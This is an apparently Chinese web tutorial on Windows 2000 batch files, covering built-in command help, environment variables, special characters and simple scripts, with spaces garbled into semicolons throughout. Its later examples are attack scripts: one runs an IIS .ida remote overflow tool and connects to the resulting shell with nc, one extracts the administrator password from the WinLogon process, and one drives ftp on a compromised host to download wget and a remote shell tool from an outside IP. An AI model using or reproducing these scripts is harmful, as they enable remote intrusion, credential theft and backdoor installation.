win2000命令行方式批處理BAT文件技巧
文章結(jié)構(gòu); 1.;所有內(nèi)置命令的幫助信息; 2.;環(huán)境變量的概念; 3.;內(nèi)置的特殊符號(hào)(實(shí)際使用中間注意避開); 4.;簡單批處理文件概念; 5.;附件1;tmp.txt; 6.;附件2;sample.bat; ######################################################################; 1.;所有內(nèi)置命令的幫助信息; ######################################################################; ver; cmd;/?; set;/?; rem;/?; if;/?; echo;/?; goto;/?; for;/?; shift;/?; call;/?; 其他需要的常用命令; type;/?; find;/?; findstr;/?; copy;/?; ______________________________________________________________________; 下面將所有上面的幫助輸出到一個(gè)文件; echo;ver;>tmp.txt; ver;>>tmp.txt; echo;cmd;/?;>>tmp.txt; cmd;/?;>>tmp.txt; echo;rem;/?;>>tmp.txt; rem;/?;>>tmp.txt; echo;if;/?;>>tmp.txt; if;/?;>>tmp.txt; echo;goto;/?;>>tmp.txt; goto;/?;>>tmp.txt; echo;for;/?;>>tmp.txt; for;/?;>>tmp.txt; echo;shift;/?;>>tmp.txt; shift;/?;>>tmp.txt; echo;call;/?;>>tmp.txt; call;/?;>>tmp.txt; echo;type;/?;>>tmp.txt; type;/?;>>tmp.txt; echo;find;/?;>>tmp.txt; find;/?;>>tmp.txt; echo;findstr;/?;>>tmp.txt; findstr;/?;>>tmp.txt; echo;copy;/?;>>tmp.txt; copy;/?;>>tmp.txt; type;tmp.txt; ______________________________________________________; ######################################################################; 2.;環(huán)境變量的概念; ######################################################################; _____________________________________________________________________________; C:/Program;Files>set; ALLUSERSPROFILE=C:/Documents;and;Settings/All;Users; CommonProgramFiles=C:/Program;Files/Common;Files; COMPUTERNAME=FIRST; ComSpec=C:/WINNT/system32/cmd.exe; NUMBER_OF_PROCESSORS=1; OS=Windows_NT; Os2LibPath=C:/WINNT/system32/os2/dllPath=C:/WINNT/system32;C:/WINNT;C:/WINNT/system32/WBEM; PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH; PROCESSOR_ARCHITECTURE=x86; PROCESSOR_IDENTIFIER=x86;Family;6;Model;6;Stepping;5,;GenuineIntel; PROCESSOR_LEVEL=6; PROCESSOR_REVISION=0605; ProgramFiles=C:/Program;Files; PROMPT=$P$G; SystemDrive=C:; SystemRoot=C:/WINNT; TEMP=C:/WINNT/TEMP; TMP=C:/WINNT/TEMP; USERPROFILE=C:/Documents;and;Settings/Default;User; windir=C:/WINNT; _____________________________________________________________________________; path:;表示可執(zhí)行程序的搜索路徑.;我的建議是你把你的程序copy;到; %windir%/system32/.;這個(gè)目錄里面.;一般就可以自動(dòng)搜索到.; 語法:;copy;mychenxu.exe;%windir%/system32/.; 使用點(diǎn)(.);便于一目了然; 對(duì)環(huán)境變量的引用使用(英文模式,半角)雙引號(hào); %windir%;變量; %%windir%%;二次變量引用.; 我們常用的還有; %temp%;臨時(shí)文件目錄; %windir%;系統(tǒng)目錄; %errorlevel%;退出代碼; 輸出文件到臨時(shí)文件目錄里面.這樣便于當(dāng)前目錄整潔.; 對(duì)有空格的參數(shù).;你應(yīng)該學(xué)會(huì)使用雙引號(hào)("");來表示比如對(duì)porgram;file文件夾操作; C:/>dir;p*; C:/;的目錄; 2000-09-02;11:47;2,164;PDOS.DEF; 1999-01-03;00:47;<DIR>;Program;Files; 1;個(gè)文件;2,164;字節(jié); 1;個(gè)目錄;1,505,997,824;可用字節(jié); C:/>cd;pro*; C:/Program;Files>C:/>C:/>cd;"Program;Files"C:/Program;Files>######################################################################; 3.;內(nèi)置的特殊符號(hào)(實(shí)際使用中間注意避開); ######################################################################; 微軟里面內(nèi)置了下列字符不能夠在創(chuàng)建的文件名中間使用; con;nul;aux;/;/;|;||;&&;^;>;<;*; You;can;use;most;characters;as;variable;values,;including;white;space.;If;you;use;the;special;characters;<,;>,;|,;&,;or;^,;you;must;precede;them;with;the;escape;character;(^);or;quotation;marks.;If;you;use;quotation;marks,;they;are;included;as;part;of;the;value;because;everything;following;the;equal;sign;is;taken;as;the;value.;Consider;the;following;examples:; (大意:;要么你使用^作為前導(dǎo)字符表示.或者就只有使用雙引號(hào)""了); To;create;the;variable;value;new&name,;type:; set;varname=new^&name; To;create;the;variable;value;"new&name",;type:; set;varname="new&name"The;ampersand;(&),;pipe;(|),;and;parentheses;(;);are;special;characters;that;must;be;preceded;by;the;escape;character;(^);or;quotation;marks;when;you;pass;them;as;arguments.; find;"Pacific;Rim";<;trade.txt;>;nwtrade.txt; IF;EXIST;filename.;(del;filename.);ELSE;echo;filename.;missing; >;創(chuàng)建一個(gè)文件; >>;追加到一個(gè)文件后面; @;前綴字符.表示執(zhí)行時(shí)本行在cmd里面不顯示,;可以使用;echo;off關(guān)閉顯示; ^;對(duì)特殊符號(hào)(;>;<;&)的前導(dǎo)字符.;第一個(gè)只是顯示aaa;第二個(gè)輸出文件bbb; echo;123456;^>;aaa; echo;1231231;>;bbb; ();包含命令; (echo;aa;&;echo;bb); ,;和空格一樣的缺省分隔符號(hào).; ;;注釋,表示后面為注釋; :;標(biāo)號(hào)作用; |;管道操作; &;Usage:第一條命令;&;第二條命令;[&;第三條命令...]; 用這種方法可以同時(shí)執(zhí)行多條命令,而不管命令是否執(zhí)行成功; dir;c:/*.exe;&;dir;d:/*.exe;&;dir;e:/*.exe; &&;Usage:第一條命令;&&;第二條命令;[&&;第三條命令...]; 當(dāng)碰到執(zhí)行出錯(cuò)的命令后將不執(zhí)行后面的命令,如果一直沒有出錯(cuò)則一直執(zhí)行完所有命令;; ||;Usage:第一條命令;||;第二條命令;[||;第三條命令...]; 當(dāng)碰到執(zhí)行正確的命令后將不執(zhí)行后面的命令,如果沒有出現(xiàn)正確的命令則一直執(zhí)行完所有命令;; 常用語法格式; IF;[NOT];ERRORLEVEL;number;command;para1;para2; IF;[NOT];string1==string2;command;para1;para2; IF;[NOT];EXIST;filename;command;para1;para2; IF;EXIST;filename;command;para1;para2; IF;NOT;EXIST;filename;command;para1;para2; IF;"%1"=="";goto;END; IF;"%1"=="net";goto;NET; IF;NOT;"%2"=="net";goto;OTHER; IF;ERRORLEVEL;1;command;para1;para2; IF;NOT;ERRORLEVEL;1;command;para1;para2; FOR;/L;%%i;IN;(start,step,end);DO;command;[command-parameters];%%i; FOR;/F;"eol=;;tokens=2,3*;delims=,;";%i;in;(myfile.txt);do;echo;%i;%j;%k; 按照字母順序;ijklmnopq依次取參數(shù).; eol=c;-;指一個(gè)行注釋字符的結(jié)尾(就一個(gè)); skip=n;-;指在文件開始時(shí)忽略的行數(shù)。; delims=xxx;-;指分隔符集。這個(gè)替換了空格和跳格鍵的默認(rèn)分隔符集。; ######################################################################; 4.;簡單批處理文件概念; ######################################################################; echo;This;is;test;>;a.txt; type;a.txt; echo;This;is;test;11111;>>;a.txt; type;a.txt; echo;This;is;test;22222;>;a.txt; type;a.txt; 第二個(gè)echo是追加; 第三個(gè)echo將清空a.txt;重新創(chuàng)建;a.txt; netstat;-n;|;find;"3389"這個(gè)將要列出所有連接3389的用戶的ip.; ________________test.bat___________________________________________________; @echo;please;care; echo;plese;care;1111; echo;plese;care;2222; echo;plese;care;3333; @echo;please;care; @echo;plese;care;1111; @echo;plese;care;2222; @echo;plese;care;3333; rem;不顯示注釋語句,本行顯示; @rem;不顯示注釋語句,本行不顯示; @if;exist;%windir%/system32/find.exe;(echo;Find;find.exe;!!!);else;(echo;ERROR:;Not;find;find.exe); @if;exist;%windir%/system32/fina.exe;(echo;Find;fina.exe;!!!);else;(echo;ERROR:;Not;find;fina.exe); ___________________________________________________________________________; 下面我們以具體的一個(gè)idahack程序就是ida遠(yuǎn)程溢出為例子.應(yīng)該是很簡單的.; ___________________ida.bat_________________________________________________; @rem;ver;1.0; @if;NOT;exist;%windir%/system32/idahack.exe;echo;"ERROR:;dont;find;idahack.exe"@if;NOT;exist;%windir%/system32/nc.exe;echo;"ERROR:;dont;find;nc.exe"@if;"%1";=="";goto;USAGE; @if;NOT;"%2";=="";goto;SP2; :start; @echo;Now;start;...; @ping;%1; @echo;chinese;win2k:1;sp1:2;sp2:3; idahack.exe;%1;80;1;99;>%temp%/_tmp; @echo;"prog;exit;code;[%errorlevel%];idahack.exe"@type;%temp%/_tmp; @find;"good;luck;:)";%temp%/_tmp; @echo;"prog;exit;code;[%errorlevel%];find;[goog;luck]"@if;NOT;errorlevel;1;nc.exe;%1;99; @goto;END; :SP2; @idahack.exe;%1;80;%2;99;%temp%/_tmp; @type;%temp%/_tmp; @find;"good;luck;:)";%temp%/_tmp; @if;NOT;errorlevel;1;nc.exe;%1;99; @goto;END; :USAGE; @echo;Example:;ida.bat;IP; @echo;Example:;ida.bat;IP;(2,3); :END; _____________________ida.bat__END_________________________________; 下面我們?cè)賮淼诙€(gè)文件.就是得到administrator的口令.; 大多數(shù)人說得不到.其實(shí)是自己的沒有輸入正確的信息.; ___________________________fpass.bat____________________________________________; @rem;ver;1.0; @if;NOT;exist;%windir%/system32/findpass.exe;echo;"ERROR:;dont;find;findpass.exe"@if;NOT;exist;%windir%/system32/pulist.exe;echo;"ERROR:;dont;find;pulist.exe"@echo;start....; @echo;____________________________________; @if;"%1"=="";goto;USAGE; @findpass.exe;%1;%2;%3;>>;%temp%/_findpass.txt; @echo;"prog;exit;code;[%errorlevel%];findpass.exe"@type;%temp%/_findpass.txt; @echo;________________________________Here__pass★★★★★★★★; @ipconfig;/all;>>%temp%/_findpass.txt; @goto;END; :USAGE; @pulist.exe;>%temp%/_pass.txt; @findstr.exe;/i;"WINLOGON;explorer;internat";%temp%/_pass.txt; @echo;"Example:;fpass.bat;%1;%2;%3;%4;!!!"@echo;"Usage:;findpass.exe;DomainName;UserName;PID-of-WinLogon":END; @echo;";fpass.bat;%COMPUTERNAME%;%USERNAME%;administrator;"@echo;";fpass.bat;end;[%errorlevel%];!"_________________fpass.bat___END___________________________________________________________; 還有一個(gè)就是已經(jīng)通過telnet登陸了一個(gè)遠(yuǎn)程主機(jī).怎樣上傳文件(win); 依次在窗口輸入下面的東西.;當(dāng)然了也可以全部拷貝.Ctrl+V過去.;然后就等待吧!!; echo;open;210.64.x.4;3396>w; echo;read>>w; echo;read>>w; echo;cd;winnt>>w; echo;binary>>w; echo;pwd;>>w; echo;get;wget.exe;>>w; echo;get;winshell.exe;>>w; echo;get;any.exe;>>w; echo;quit;>>w; ftp;-s:w
相關(guān)文章:
1. Win7系統(tǒng)如何使用cmd命令進(jìn)入d盤?Win7系統(tǒng)怎么使用cmd命令?Win7怎么進(jìn)入命令行模式2. 關(guān)于WIN2000下的隱藏帳戶3. Win2000 SP4八大熱點(diǎn)問題4. Win10運(yùn)行命令行窗口提示“請(qǐng)求的操作需要提升”怎么解決5. Win2000注冊(cè)表控制臺(tái)工具6. Vista首月銷售收入超Win2000落后XP7. Win2000網(wǎng)絡(luò)連通診斷(二)8. Windows Vista系統(tǒng)中用命令行來運(yùn)行系統(tǒng)還原9. Win2000簡單安全配置10. Win7系統(tǒng)CMD命令行提示“不是內(nèi)部或者外部命令”怎么解決?
